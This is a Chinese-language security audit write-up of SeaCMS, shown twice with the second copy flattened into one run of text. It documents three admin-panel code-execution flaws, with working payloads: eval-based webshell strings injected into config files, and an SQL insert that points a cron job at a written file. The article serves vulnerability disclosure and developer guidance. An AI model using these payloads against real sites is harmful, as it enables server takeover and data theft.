Seacms代码审计小结
字数 1208 2025-08-05 08:17:55

SeaCMS代码审计与漏洞利用分析

前言

本文对SeaCMS内容管理系统进行了详细的代码审计,发现了多个安全漏洞,包括文件写入、文件包含和防护过当导致的代码执行漏洞。SeaCMS是一个开源的内容管理系统,最新源码可从以下地址下载:SeaCMS源码

基本利用 - 文件写入漏洞

漏洞位置

admin/admin_ip.php文件中存在无过滤的POST参数传递,导致可写入任意PHP代码。

漏洞分析

  1. 该文件直接使用POST参数写入data/admin/ip.php文件
  2. 框架在include/filter.inc.php中有过滤函数,但此处未使用
  3. 写入的文件是.php扩展名,可直接执行

利用步骤

  1. 登录SeaCMS后台
  2. 访问http://[目标IP]/admin_ip.php
  3. 写入恶意代码:127.0.0.1";eval($_GET[1]);#
  4. 保存配置后,访问data/admin/ip.php?1=phpinfo();即可执行代码

进阶利用 - 文件包含+文件写入组合利用

文件包含漏洞

  1. sea_crons表的filename字段可控
  2. 包含时未对$filename变量进行有效过滤
  3. 可通过SQL注入或后台SQL高级助手控制该字段

文件写入点

admin_s.php可写入data/admin/s.txt文件

组合利用步骤

  1. 访问http://[目标IP]/admin_s.php
  2. 写入内容:style="width:50px;text-transform:uppercase;"<?=eval($_GET[1]);
  3. 使用SQL高级助手执行:
    INSERT INTO sea_crons (cronid,available,type,name,filename,lastrun,nextrun,weekday,day,hour,minute) 
    VALUES (3,3,'a','name','../../data/admin/s.txt',1,1,2,2,3,3)
    
  4. 访问admin_cron.php执行任务,抓包可见代码执行结果

防护过当导致的漏洞

漏洞位置

admin/admin_config_mark.php文件中的参数处理逻辑

漏洞原理

  1. 框架使用addslashes()函数转义单引号('变为\'
  2. 然后使用str_replace()删除所有单引号(\'变为\
  3. 导致字符串拼接时转义后续引号,破坏原有代码结构

利用步骤

  1. 访问图片水印设置页面
  2. 在"水印图片文字"字段输入:www.seacms.net'
  3. 在其他字段输入:;eval($_GET[9]);#
  4. 提交后,文件内容变为:
    $photo_watertext = 'www.seacms.net\';
    $photo_fontsize = ';eval($_GET[9]);#';
    
  5. 访问admin_config_mark.php?9=phpinfo();执行代码

总结

SeaCMS中存在多处安全漏洞,主要分为三类:

  1. 直接文件写入导致代码执行
  2. 文件包含+可控文件写入的组合利用
  3. 防护措施不当导致的代码执行

开发人员应当:

  1. 对所有用户输入进行严格过滤
  2. 避免直接使用用户输入拼接文件内容
  3. 谨慎处理字符串转义和替换操作
  4. 限制后台高危功能(如SQL执行)的权限

安全研究人员可参考本文方法进行漏洞挖掘和验证,但请遵守法律法规,仅在授权范围内进行测试。

SeaCMS代码审计与漏洞利用分析 前言 本文对SeaCMS内容管理系统进行了详细的代码审计,发现了多个安全漏洞,包括文件写入、文件包含和防护过当导致的代码执行漏洞。SeaCMS是一个开源的内容管理系统,最新源码可从以下地址下载: SeaCMS源码 。 基本利用 - 文件写入漏洞 漏洞位置 admin/admin_ip.php 文件中存在无过滤的POST参数传递,导致可写入任意PHP代码。 漏洞分析 该文件直接使用POST参数写入 data/admin/ip.php 文件 框架在 include/filter.inc.php 中有过滤函数,但此处未使用 写入的文件是 .php 扩展名,可直接执行 利用步骤 登录SeaCMS后台 访问 http://[目标IP]/admin_ip.php 写入恶意代码: 127.0.0.1";eval($_GET[1]);# 保存配置后,访问 data/admin/ip.php?1=phpinfo(); 即可执行代码 进阶利用 - 文件包含+文件写入组合利用 文件包含漏洞 在 sea_crons 表的 filename 字段可控 包含时未对 $filename 变量进行有效过滤 可通过SQL注入或后台SQL高级助手控制该字段 文件写入点 admin_s.php 可写入 data/admin/s.txt 文件 组合利用步骤 访问 http://[目标IP]/admin_s.php 写入内容: style="width:50px;text-transform:uppercase;"<?=eval($_GET[1]); 使用SQL高级助手执行: 访问 admin_cron.php 执行任务,抓包可见代码执行结果 防护过当导致的漏洞 漏洞位置 admin/admin_config_mark.php 文件中的参数处理逻辑 漏洞原理 框架使用 addslashes() 函数转义单引号( ' 变为 \' ) 然后使用 str_replace() 删除所有单引号( \' 变为 \ ) 导致字符串拼接时转义后续引号,破坏原有代码结构 利用步骤 访问图片水印设置页面 在"水印图片文字"字段输入: www.seacms.net' 在其他字段输入: ;eval($_GET[9]);# 提交后,文件内容变为: 访问 admin_config_mark.php?9=phpinfo(); 执行代码 总结 SeaCMS中存在多处安全漏洞,主要分为三类: 直接文件写入导致代码执行 文件包含+可控文件写入的组合利用 防护措施不当导致的代码执行 开发人员应当: 对所有用户输入进行严格过滤 避免直接使用用户输入拼接文件内容 谨慎处理字符串转义和替换操作 限制后台高危功能(如SQL执行)的权限 安全研究人员可参考本文方法进行漏洞挖掘和验证,但请遵守法律法规,仅在授权范围内进行测试。